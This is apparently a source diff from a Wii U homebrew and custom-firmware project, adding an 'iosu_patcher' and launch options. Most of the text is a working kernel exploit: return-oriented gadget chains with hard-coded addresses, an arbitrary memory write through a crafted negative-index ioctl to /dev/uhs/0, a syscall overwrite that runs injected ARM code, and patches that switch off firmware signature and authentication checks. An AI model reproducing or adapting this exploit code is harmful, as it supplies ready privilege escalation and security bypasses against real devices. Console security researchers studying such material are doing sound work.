||||
0x0, // 0x19C
|
||||
0x0, // 0x1A0
|
||||
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1A8
|
||||
0x0, // 0x1AC
|
||||
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE8BD4010, // 0x184 value: POP {R4,LR}
|
||||
0x0, // 0x188
|
||||
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
||||
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x194
|
||||
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x19C
|
||||
0x0, // 0x1A0
|
||||
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1A8
|
||||
0x0, // 0x1AC
|
||||
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
|
||||
0x0, // 0x1BC
|
||||
0x10123a8b, // 0x1C0 POP {R3,R4,PC}
|
||||
0x1, // 0x1C4 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x1C8
|
||||
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x1D0
|
||||
0x0, // 0x1D4
|
||||
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1DC
|
||||
0x0, // 0x1E0
|
||||
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
|
||||
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
|
||||
0x0, // 0x1E0
|
||||
0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
|
||||
0x0, // 0x1DC
|
||||
0x0, // 0x1E0
|
||||
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
||||
ARM_CODE_BASE, // 0x1E8 our code destination address
|
||||
0x0, // 0x1EC
|
||||
0x0, // 0x1F0
|
||||
0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
|
||||
0x0, // 0x1F8
|
||||
sizeof(arm_kernel_bin), // 0x1FC our code size
|
||||
0x0, // 0x200
|
||||
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
|
||||
0x01E40000, // 0x208 our code source location
|
||||
0x08131D04, // 0x20C KERNEL_MEMCPY address
|
||||
0x0, // 0x210
|
||||
0x0, // 0x214
|
||||
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
|
||||
0x0,
|
||||
0x0,
|
||||
0x101312D0,
|
||||
};
|
||||
|
||||
static const int second_chain[] = {
|
||||
0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
|
||||
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
|
||||
0x0, // 0x08
|
||||
0x0, // 0x0C
|
||||
0x101063db, // 0x10 POP {R1,R2,R5,PC}
|
||||
0x01E30000, // 0x14 source
|
||||
sizeof(final_chain), // 0x18 length
|
||||
0x0, // 0x1C
|
||||
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x24
|
||||
0x0, // 0x28
|
||||
0x101236f3, // 0x2C POP {R1-R7,PC}
|
||||
0x0, // 0x30 arg
|
||||
0x101001DC, // 0x34 stackptr
|
||||
0x68, // 0x38 stacksize
|
||||
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x40
|
||||
0x0, // 0x44
|
||||
0x0, // 0x48
|
||||
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x50
|
||||
0x0, // 0x54
|
||||
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x5C
|
||||
0x0, // 0x60
|
||||
IOS_CREATETHREAD, // 0x64
|
||||
0x1, // 0x68 priority
|
||||
0x2, // 0x6C flags
|
||||
0x0, // 0x70
|
||||
0x0, // 0x74
|
||||
0x101063db, // 0x78 POP {R1,R2,R5,PC}
|
||||
0x0, // 0x7C
|
||||
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset
|
||||
0x0, // 0x84
|
||||
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
|
||||
0x0,
|
||||
0x0,
|
||||
0x0,
|
||||
0x00110000 - 0x44, // 0x8C
|
||||
0x00110010, // 0x90
|
||||
0x0, // 0x94
|
||||
0x0, // 0x98
|
||||
0x0, // 0x9C
|
||||
0x0, // 0xA0
|
||||
0x0, // 0xA4
|
||||
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
|
||||
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
|
||||
0x0,
|
||||
0x0,
|
||||
0x1012EA68, // 0xAC stack pivot
|
||||
};
|
||||
|
||||
static void uhs_exploit_init(unsigned int coreinit_handle);
|
||||
static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val);
|
||||
|
||||
void __main(void)
|
||||
{
|
||||
unsigned int coreinit_handle;
|
||||
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
|
||||
unsigned int sysapp_handle;
|
||||
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
|
||||
|
||||
int (* OSForceFullRelaunch)(void);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch);
|
||||
|
||||
int (*IOS_Open)(char *path, unsigned int mode);
|
||||
int (*IOS_Close)(int fd);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Close", &IOS_Close);
|
||||
|
||||
void (*OSExitThread)(int);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
|
||||
|
||||
void (*SYSLaunchMenu)(void);
|
||||
OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchMenu", &SYSLaunchMenu);
|
||||
|
||||
OSForceFullRelaunch();
|
||||
SYSLaunchMenu();
|
||||
|
||||
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node
|
||||
uhs_exploit_init(coreinit_handle); //! Init variables for the exploit
|
||||
|
||||
//!------ROP CHAIN-------
|
||||
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C);
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE);
|
||||
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC}
|
||||
|
||||
IOS_Close(dev_uhs_0_handle);
|
||||
|
||||
OSExitThread(0);
|
||||
}
|
||||
|
||||
static void uhs_exploit_init(unsigned int coreinit_handle)
|
||||
{
|
||||
void (*DCStoreRange)(const void *addr, uint32_t length);
|
||||
void (*memcpy)(void *dst, const void *src, uint32_t length);
|
||||
void (*memset)(void *dst, const char val, uint32_t length);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &memcpy);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
|
||||
|
||||
//! Clear out our used MEM1 area
|
||||
memset((void*)0xF5E00000, 0, 0x00070000);
|
||||
DCStoreRange((void*)0xF5E00000, 0x00070000);
|
||||
|
||||
//!------Variables used in exploit------
|
||||
int *pretend_root_hub = (int*)0xF5E60640;
|
||||
int *ayylmao = (int*)0xF5E00000;
|
||||
//!-------------------------------------
|
||||
|
||||
ayylmao[5] = 1;
|
||||
ayylmao[8] = 0x1E00000;
|
||||
|
||||
memcpy((char*)(0xF5E20000), second_chain, sizeof(second_chain));
|
||||
memcpy((char*)(0xF5E30000), final_chain, sizeof(final_chain));
|
||||
memcpy((char*)(0xF5E40000), arm_kernel_bin, sizeof(arm_kernel_bin));
|
||||
memcpy((char*)(0xF5E50000), arm_user_bin, sizeof(arm_user_bin));
|
||||
|
||||
pretend_root_hub[33] = 0x1E00000;
|
||||
pretend_root_hub[78] = 0;
|
||||
|
||||
//! Store current CPU cache into main memory for IOSU to read
|
||||
DCStoreRange(ayylmao, 0x840);
|
||||
|
||||
DCStoreRange((void*)0xF5E20000, sizeof(second_chain));
|
||||
DCStoreRange((void*)0xF5E30000, sizeof(final_chain));
|
||||
DCStoreRange((void*)0xF5E40000, sizeof(arm_kernel_bin));
|
||||
DCStoreRange((void*)0xF5E50000, sizeof(arm_user_bin));
|
||||
|
||||
DCStoreRange(pretend_root_hub, 0x160);
|
||||
}
|
||||
|
||||
static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val)
|
||||
{
|
||||
void (*DCStoreRange)(const void *addr, uint32_t length);
|
||||
void (*OSSleepTicks)(uint64_t ticks);
|
||||
int (*IOS_Ioctl)(int fd, uint32_t request, void *input_buffer,uint32_t input_buffer_len, void *output_buffer, uint32_t output_buffer_len);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl);
|
||||
|
||||
//!------Variables used in exploit------
|
||||
int *ayylmao = (int*)0xF5E00000;
|
||||
//!-------------------------------------
|
||||
|
||||
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
|
||||
DCStoreRange(ayylmao, 0x840); //! Store current CPU cache into main memory for IOSU to read
|
||||
OSSleepTicks(0x200000); //! Wait for caches to refresh over in IOSU
|
||||
//! index 0 is at 0x10149A6C, each index is 0x144 bytes long, so 0x10149A6C - (0x144*0xB349B) = 0x1E60640,
|
||||
//! which is the physical address of 0xF5E60640 for us, right at the end of MEM1
|
||||
int request_buffer[] = { -(0xB349B), val };
|
||||
int output_buffer[32];
|
||||
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
|
||||
}
|
||||
10
dsrom/global.h
Normal file
10
dsrom/global.h
Normal file
@ -0,0 +1,10 @@
|
||||
|
||||
#ifndef _GLOBAL_H_
|
||||
#define _GLOBAL_H_
|
||||
|
||||
#define LAUNCH_SYSMENU 0
|
||||
#define LAUNCH_HBL 1
|
||||
#define LAUNCH_MOCHA 2
|
||||
#define LAUNCH_CFW_IMG 3
|
||||
|
||||
#endif
|
||||
@ -3,8 +3,8 @@
|
||||
|
||||
; more useful definitions
|
||||
HBL_LOADER_ADR equ (0x01800000)
|
||||
IOSU_PATCHER_ADR equ (0x01804000)
|
||||
SELECTOR_ADDRESS equ (0x01808000)
|
||||
CFW_BOOTER_ADR equ (0x0180C000)
|
||||
|
||||
NERD_THREAD0OBJECT equ (HAX_TARGET_ADDRESS - 0x1000)
|
||||
NERD_THREAD2OBJECT equ (HAX_TARGET_ADDRESS - 0x2000)
|
||||
@ -224,13 +224,13 @@ rop_start:
|
||||
|
||||
; memcpy code
|
||||
call_func MEMCPY, HBL_LOADER_ADR, hbl_loader, hbl_loader_end - hbl_loader, 0x0
|
||||
call_func MEMCPY, SELECTOR_ADDRESS, code, code_end - code, 0x0
|
||||
call_func MEMCPY, CFW_BOOTER_ADR, cfw_booter, cfw_booter_end - cfw_booter, 0x0
|
||||
call_func DC_FLUSHRANGE, HBL_LOADER_ADR, 0xE000, 0x0, 0x0
|
||||
call_func MEMCPY, IOSU_PATCHER_ADR, iosu_patcher, iosu_patcher_end - iosu_patcher, 0x0
|
||||
call_func MEMCPY, SELECTOR_ADDRESS, option_select, option_select_end - option_select, 0x0
|
||||
call_func DC_FLUSHRANGE, HBL_LOADER_ADR, 0xC000, 0x0, 0x0
|
||||
|
||||
; switch codegen to RX
|
||||
call_func OSCODEGEN_SWITCHSECMODE, 0x1, 0x0, 0x0, 0x0
|
||||
call_func IC_INVALIDATERANGE, HBL_LOADER_ADR, 0xE000, 0x0, 0x0
|
||||
call_func IC_INVALIDATERANGE, HBL_LOADER_ADR, 0xC000, 0x0, 0x0
|
||||
|
||||
; execute option_select in codegen
|
||||
.word SELECTOR_ADDRESS
|
||||
@ -260,16 +260,16 @@ rop_start:
|
||||
.word 0x00000010 ; thread prio
|
||||
.halfword 0x0004 ; thread affinity (core2)
|
||||
|
||||
code:
|
||||
.incbin "code550.bin"
|
||||
code_end:
|
||||
|
||||
hbl_loader:
|
||||
.incbin "hbl_loader.bin"
|
||||
hbl_loader_end:
|
||||
|
||||
cfw_booter:
|
||||
.incbin "cfw_booter.bin"
|
||||
cfw_booter_end:
|
||||
iosu_patcher:
|
||||
.incbin "iosu_patcher.bin"
|
||||
iosu_patcher_end:
|
||||
|
||||
option_select:
|
||||
.incbin "option_select.bin"
|
||||
option_select_end:
|
||||
|
||||
.Close
|
||||
|
||||
@ -3,7 +3,8 @@
|
||||
|
||||
; more useful definitions
|
||||
HBL_LOADER_ADR equ (0x01800000)
|
||||
CBHC_ADDR equ (0x01808000)
|
||||
IOSU_PATCHER_ADR equ (0x01804000)
|
||||
CBHC_MENU_ADDR equ (0x01808000)
|
||||
|
||||
NERD_THREAD0OBJECT equ (HAX_TARGET_ADDRESS - 0x1000)
|
||||
NERD_THREAD2OBJECT equ (HAX_TARGET_ADDRESS - 0x2000)
|
||||
@ -223,15 +224,16 @@ rop_start:
|
||||
|
||||
; memcpy code
|
||||
call_func MEMCPY, HBL_LOADER_ADR, hbl_loader, hbl_loader_end - hbl_loader, 0x0
|
||||
call_func MEMCPY, CBHC_ADDR, cbhc, cbhc_end - cbhc, 0x0
|
||||
call_func DC_FLUSHRANGE, HBL_LOADER_ADR, 0xFFE0, 0x0, 0x0
|
||||
call_func MEMCPY, IOSU_PATCHER_ADR, iosu_patcher, iosu_patcher_end - iosu_patcher, 0x0
|
||||
call_func MEMCPY, CBHC_MENU_ADDR, cbhc_menu, cbhc_menu_end - cbhc_menu, 0x0
|
||||
call_func DC_FLUSHRANGE, HBL_LOADER_ADR, 0xC000, 0x0, 0x0
|
||||
|
||||
; switch codegen to RX
|
||||
call_func OSCODEGEN_SWITCHSECMODE, 0x1, 0x0, 0x0, 0x0
|
||||
call_func IC_INVALIDATERANGE, HBL_LOADER_ADR, 0xFFE0, 0x0, 0x0
|
||||
call_func IC_INVALIDATERANGE, HBL_LOADER_ADR, 0xC000, 0x0, 0x0
|
||||
|
||||
; execute option_select in codegen
|
||||
.word CBHC_ADDR
|
||||
.word CBHC_MENU_ADDR
|
||||
core0rop_end:
|
||||
|
||||
; core 0 thread params
|
||||
@ -262,8 +264,12 @@ rop_start:
|
||||
.incbin "hbl_loader.bin"
|
||||
hbl_loader_end:
|
||||
|
||||
cbhc:
|
||||
.incbin "cbhc.bin"
|
||||
cbhc_end:
|
||||
iosu_patcher:
|
||||
.incbin "iosu_patcher.bin"
|
||||
iosu_patcher_end:
|
||||
|
||||
cbhc_menu:
|
||||
.incbin "cbhc_menu.bin"
|
||||
cbhc_menu_end:
|
||||
|
||||
.Close
|
||||
|
||||
@ -6,7 +6,7 @@ CFLAGS = -std=gnu89 -O3 -Wall -nostdinc -fno-builtin -I$(DEVKITPPC)/lib/gcc/powe
|
||||
ASFLAGS = -mregnames -x assembler-with-cpp
|
||||
LD = $(PREFIX)ld
|
||||
OBJCOPY = $(PREFIX)objcopy
|
||||
LDFLAGS=-Ttext 1808000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -L$(DEVKITPPC)/powerpc-eabi/lib -lgcc -lc
|
||||
LDFLAGS=-Ttext 1804000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -L$(DEVKITPPC)/powerpc-eabi/lib -lgcc -lc
|
||||
OBJDUMP ?= $(PREFIX)objdump
|
||||
project := .
|
||||
root := $(CURDIR)
|
||||
@ -44,12 +44,12 @@ main: $(CURDIR)/payload/arm_kernel_bin.h
|
||||
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S
|
||||
cp -r $(root)/*.o $(build)
|
||||
rm $(root)/*.o
|
||||
$(LD) -o CBHC.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map CBHC.map
|
||||
$(OBJCOPY) CBHC.elf -S -O binary ../CBHC.bin
|
||||
$(LD) -o iosu_patcher.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map iosu_patcher.map
|
||||
$(OBJCOPY) iosu_patcher.elf -S -O binary ../iosu_patcher.bin
|
||||
|
||||
clean:
|
||||
rm -rf $(build) payload
|
||||
rm -rf CBHC.elf CBHC.map
|
||||
rm -rf iosu_patcher.elf iosu_patcher.map
|
||||
$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile clean
|
||||
$(MAKE) --no-print-directory -C $(CURDIR)/titleprot -f $(CURDIR)/titleprot/Makefile clean
|
||||
$(MAKE) --no-print-directory -C $(CURDIR)/../../wupserver -f $(CURDIR)/../../wupserver/Makefile clean
|
||||
@ -1,6 +1,9 @@
|
||||
#include "../../payload/titleprot_bin.h"
|
||||
#include "../../payload/wupserver_bin.h"
|
||||
|
||||
//not really a bin but still a const val
|
||||
const int from_cbhc = 1;
|
||||
|
||||
const unsigned char *get_titleprot_bin()
|
||||
{
|
||||
return titleprot_bin;
|
||||
@ -4,6 +4,7 @@
|
||||
#include "elf_patcher.h"
|
||||
#include "../../payload/arm_user_bin.h"
|
||||
#include "getbins.h"
|
||||
|
||||
static const char repairData_set_fault_behavior[] = {
|
||||
0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00,
|
||||
0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02,
|
||||
@ -41,7 +42,7 @@ static const char os_launch_hook[] = {
|
||||
0x05, 0x0b, 0xcf, 0xfc, 0x05, 0x05, 0x99, 0x70, 0x05, 0x05, 0x99, 0x7e,
|
||||
};
|
||||
|
||||
static const char sd_path[] = "/vol/sdcard";
|
||||
extern const int from_cbhc;
|
||||
|
||||
#define LAUNCH_SYSMENU 0
|
||||
#define LAUNCH_HBL 1
|
||||
@ -63,8 +64,11 @@ int _main()
|
||||
/* copy in ds vc title id to protect from moving/deleting */
|
||||
kernel_memcpy((void*)(get_titleprot_bin()+get_titleprot_bin_len()-8), (void*)0x01E70108, 4);
|
||||
|
||||
/* get value CBHC used to boot up */
|
||||
unsigned int launchmode = *(volatile u32*)0x01E7010C;
|
||||
/* save if we are booted from CBHC */
|
||||
kernel_memcpy((void*)(&from_cbhc), (void*)0x01E70110, 4);
|
||||
|
||||
/* get value CBHC or Haxchi used to boot up */
|
||||
unsigned int launchmode = *(volatile int*)0x01E7010C;
|
||||
|
||||
/* Save the request handle so we can reply later */
|
||||
*(volatile u32*)0x01E10000 = *(volatile u32*)0x1016AD18;
|
||||
@ -95,7 +99,10 @@ int _main()
|
||||
|
||||
// patch OS launch sig check
|
||||
*(volatile u32*)(0x0500A818 - 0x05000000 + 0x081C0000) = 0x20002000; // mov r0, #0; mov r0, #0
|
||||
}
|
||||
|
||||
if(launchmode != LAUNCH_MOCHA && launchmode != LAUNCH_CFW_IMG)
|
||||
{
|
||||
// patch MCP authentication check
|
||||
*(volatile u32*)(0x05014CAC - 0x05000000 + 0x081C0000) = 0x20004770; // mov r0, #0; bx lr
|
||||
|
||||
@ -120,12 +127,15 @@ int _main()
|
||||
*(volatile u32*)(0x05054D6C - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, 0
|
||||
*(volatile u32*)(0x05054D70 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr
|
||||
|
||||
if(from_cbhc) // coldboot specific patches
|
||||
{
|
||||
// change system.xml to syshax.xml
|
||||
*(volatile u32*)(0x050600F0 - 0x05060000 + 0x08220000) = 0x79736861; // ysha
|
||||
*(volatile u32*)(0x050600F4 - 0x05060000 + 0x08220000) = 0x782E786D; // x.xm
|
||||
|
||||
*(volatile u32*)(0x05060114 - 0x05060000 + 0x08220000) = 0x79736861; // ysha
|
||||
*(volatile u32*)(0x05060118 - 0x05060000 + 0x08220000) = 0x782E786D; // x.xm
|
||||
}
|
||||
|
||||
// jump to titleprot code (titleprot_addr+4)
|
||||
*(volatile u32*)(0x05107F70 - 0x05100000 + 0x13D80000) = 0xF005FD0A; //bl (titleprot_addr+4)
|
||||
@ -157,8 +167,8 @@ int _main()
|
||||
{
|
||||
int i;
|
||||
for (i = 0; i < 32; i++)
|
||||
if (i < 11)
|
||||
((char*)(0x050663B4 - 0x05000000 + 0x081C0000))[i] = sd_path[i];
|
||||
if (i < 31)
|
||||
((char*)(0x050663B4 - 0x05000000 + 0x081C0000))[i] = ((char*)0x01E70000)[i];
|
||||
else
|
||||
((char*)(0x050663B4 - 0x05000000 + 0x081C0000))[i] = (char)0;
|
||||
|
||||
@ -168,12 +178,15 @@ int _main()
|
||||
((char*)(0x05059938 - 0x05000000 + 0x081C0000))[i] = os_launch_hook[i];
|
||||
}
|
||||
|
||||
if(from_cbhc) // coldboot specific patches
|
||||
{
|
||||
// patch default title id to system menu
|
||||
*(volatile u32*)(0x050B817C - 0x05074000 + 0x08234000) = *(volatile u32*)0x01E70100;
|
||||
*(volatile u32*)(0x050B8180 - 0x05074000 + 0x08234000) = *(volatile u32*)0x01E70104;
|
||||
|
||||
// force check USB storage on load
|
||||
*(volatile u32*)(0xE012202C - 0xE0000000 + 0x12900000) = 0x00000001; // find USB flag
|
||||
}
|
||||
|
||||
*(volatile u32*)(0x1555500) = 0;
|
||||
|
||||
@ -6,6 +6,7 @@
|
||||
#include "getbins.h"
|
||||
|
||||
extern char __file_start, __file_end;
|
||||
extern const int from_cbhc;
|
||||
|
||||
void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H)
|
||||
{
|
||||
@ -54,12 +55,15 @@ void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H)
|
||||
section_write_word(ios_elf_start, 0x05054D6C, 0xE3A00000); // mov r0, 0
|
||||
section_write_word(ios_elf_start, 0x05054D70, 0xE12FFF1E); // bx lr
|
||||
|
||||
if(from_cbhc) // coldboot specific patches
|
||||
{
|
||||
// change system.xml to syshax.xml
|
||||
section_write_word(ios_elf_start, 0x050600F0, 0x79736861); // ysha
|
||||
section_write_word(ios_elf_start, 0x050600F4, 0x782E786D); // x.xm
|
||||
|
||||
section_write_word(ios_elf_start, 0x05060114, 0x79736861); // ysha
|
||||
section_write_word(ios_elf_start, 0x05060118, 0x782E786D); // x.xm
|
||||
}
|
||||
|
||||
// jump to titleprot code (titleprot_addr+4)
|
||||
section_write_word(ios_elf_start, 0x05107F70, 0xF005FD0A); //bl (titleprot_addr+4)
|
||||
6
dsrom/iosu_patcher/crt0.S
Normal file
6
dsrom/iosu_patcher/crt0.S
Normal file
@ -0,0 +1,6 @@
|
||||
|
||||
.extern patch_iosu
|
||||
.globl _start
|
||||
|
||||
_start:
|
||||
b patch_iosu
|
||||
388
dsrom/iosu_patcher/main.c
Normal file
388
dsrom/iosu_patcher/main.c
Normal file
@ -0,0 +1,388 @@
|
||||
/*
|
||||
* Copyright (C) 2016 FIX94
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
#include <string.h>
|
||||
#include "types.h"
|
||||
#include "coreinit.h"
|
||||
#include "../global.h"
|
||||
|
||||
#define CHAIN_START 0x1016AD40
|
||||
#define SHUTDOWN 0x1012EE4C
|
||||
#define SIMPLE_RETURN 0x101014E4
|
||||
#define SOURCE 0x01E20000
|
||||
#define IOS_CREATETHREAD 0x1012EABC
|
||||
#define ARM_CODE_BASE 0x08135000
|
||||
#define REPLACE_SYSCALL 0x081298BC
|
||||
|
||||
/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */
|
||||
#include "payload/arm_kernel_bin.h"
|
||||
#include "payload/arm_user_bin.h"
|
||||
|
||||
static void uhs_exploit_init(unsigned int coreinit_handle);
|
||||
static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val);
|
||||
|
||||
void patch_iosu(unsigned int coreinit_handle, unsigned int sysapp_handle, int launchmode, int from_cbhc)
|
||||
{
|
||||
unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp);
|
||||
OSDynLoad_FindExport(sysapp_handle,0,"_SYSGetSystemApplicationTitleId",&_SYSGetSystemApplicationTitleId);
|
||||
unsigned long long sysmenu = _SYSGetSystemApplicationTitleId(0);
|
||||
|
||||
unsigned long long(*OSGetTitleID)();
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetTitleID", &OSGetTitleID);
|
||||
unsigned int dsvcid = (unsigned int)(OSGetTitleID(0) & 0xFFFFFFFF);
|
||||
|
||||
void (*DCStoreRange)(const void *addr, uint32_t length);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
|
||||
|
||||
memcpy((void*)0xF5E70100, &sysmenu, 8);
|
||||
*(volatile unsigned int*)0xF5E70108 = dsvcid;
|
||||
*(volatile unsigned int*)0xF5E7010C = launchmode;
|
||||
*(volatile unsigned int*)0xF5E70110 = from_cbhc;
|
||||
DCStoreRange((void*)0xF5E70100, 0x20);
|
||||
|
||||
int (*IOS_Open)(char *path, unsigned int mode);
|
||||
int (*IOS_Close)(int fd);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Close", &IOS_Close);
|
||||
|
||||
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node
|
||||
uhs_exploit_init(coreinit_handle); //! Init variables for the exploit
|
||||
|
||||
//!------ROP CHAIN-------
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C);
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE);
|
||||
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC}
|
||||
|
||||
IOS_Close(dev_uhs_0_handle);
|
||||
}
|
||||
|
||||
/* ROP CHAIN STARTS HERE (0x1015BD78) */
|
||||
static const int final_chain[] = {
|
||||
0x101236f3, // 0x00 POP {R1-R7,PC}
|
||||
0x0, // 0x04 arg
|
||||
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
|
||||
0x68, // 0x0C stacksize
|
||||
0x10101638, // 0x10
|
||||
0x0, // 0x14
|
||||
0x0, // 0x18
|
||||
0x0, // 0x1C
|
||||
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x24
|
||||
0x0, // 0x28
|
||||
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x30
|
||||
0x0, // 0x34
|
||||
IOS_CREATETHREAD, // 0x38
|
||||
0x1, // 0x3C
|
||||
0x2, // 0x40
|
||||
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE92D4010, // 0x4C value: PUSH {R4,LR}
|
||||
0x0, // 0x50
|
||||
0x10123a8b, // 0x54 POP {R3,R4,PC}
|
||||
0x1, // 0x58 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x5C
|
||||
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x64
|
||||
0x0, // 0x68
|
||||
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x70
|
||||
0x0, // 0x74
|
||||
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A04000, // 0x80 value: MOV R4, R0
|
||||
0x0, // 0x84
|
||||
0x10123a8b, // 0x88 POP {R3,R4,PC}
|
||||
0x1, // 0x8C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x90
|
||||
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
